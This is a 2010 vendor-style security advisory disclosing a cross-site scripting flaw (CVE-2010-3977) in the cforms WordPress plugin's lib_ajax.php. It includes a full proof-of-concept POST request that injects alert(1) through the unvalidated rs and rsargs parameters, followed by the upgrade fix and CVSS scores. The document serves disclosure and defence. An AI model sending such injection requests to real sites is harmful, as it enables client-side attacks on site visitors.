Introduction
1. Copyright and Disclaimer
The information in this advisory is Copyright 2010 Conviso and provided so that the society can understand the risk they may be facing by running affected software, hardware or other components used on their systems. In case you wish to copy information from this advisory, you must either copy all of it or refer to this document (including our URL). No guarantee is provided for the accuracy of this information, or damage you may cause your systems in testing.
2. About Conviso
Founded on 2008 by a team of professionals working the IT Security market since 1997, Conviso is a consulting company specialized on network and application security services. Our values are based on the allocation of the adequate competencies on the field, a clear and direct speech with the market, collaboration and partnership with our customers and business partners and constant investments on methodology and research improvement.
This advisory has been discovered as part of a general investigation into the security of software used in the IT environments of our customers. For more information about our company and services provided, please check our website at www.conviso.com.br.
3. The Security Research
Conviso maintains a virtual team dedicated to explore our customer’s environments in order to identify technical vulnerabilities in software and hardware, developing real-world mitigation solutions and processes to maintain more secure environments. Leaded by Wagner Elias, our CTO, this team is named Conviso Labs and also contribute to important world-class organizations projects and organizations.
The vulnerability described in this security advisory was discovered by Wagner Elias on July 24th 2010 during a penetration test project.
Security Advisory
1. Issue Description
Created and distributed by Delicious Days (http://www.deliciousdays.com/), cforms is a rich form plugin for WordPress, offering deployment of multiple Ajax driven contact forms throughout user’s blog or even on the same page. An issue on version 11.5 allows the exploit of a Cross Site Scripting (XSS) vulnerability and the consequent capability of client-side attacks for data leaking and malware propagation.
2. Affected Components
File lib_ajax.php on version 11.5.
3. Details
The file lib_ajax.php on version 11.5 creates a data array with all values inserted on the form’s fields on a POST requisition. As there is no data validation of the rs and rsargs parameters, it is possible to inject malformed data by Javascript.
Request:
http://www.siteexample.com/wp-content/plugins/cforms/lib_ajax.php
POST /wp-content/plugins/cforms/lib_ajax.php HTTP/1.1
Host: http://www.siteexample.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 219
Cookie: wp-settings-1=m0%3Do%26m1%3Do%26m2%3Do%26m3%3Do%26m4%3Do%26m5%3Do%26m6%3
Do%26m7%3Do%26m8%3Do%26urlbutton%3Dnone%26editor%3Dtinymce%26imgsize%3
Dfull%26align%3Dcenter%26hidetb%3D1%26m9%3Dc%26m10%3Do%26uploader%3D1%26m11%3Do;
wp-settings-time-1=1285758765; comment_author_93f41ba0b16f34676f802058e82388f6=teste; comment_author_email_93f41ba0b16f34676f802058e82388f6=welias%40conviso.com.br
Pragma: no-cache
Cache-Control: no-cache
rs=alert(1)&rst=&rsrnd=1287506634854&rsargs[]=1$#$alert(1)
$#$welias@conviso.com.br$#$http://blog.conviso.com.br$#$alert(1)
4. Issue Mitigation
Update to version 11.6.1.
5. Additional Information
The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2010-3977 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems.
6. CVSS Issue Severity Scores
Conviso calculated the scores of this vulnerability using the online CVSS calculator found at http://www.patchadvisor.com/PatchAdvisor/CVSSCalculator.aspx and described at http://www.first.org/cvss/cvss-guide.pdf.
- Base Metrics | Value: 5,7
- Temporal Metrics | Value: 4,5
- Environmental Metrics | Value: 0
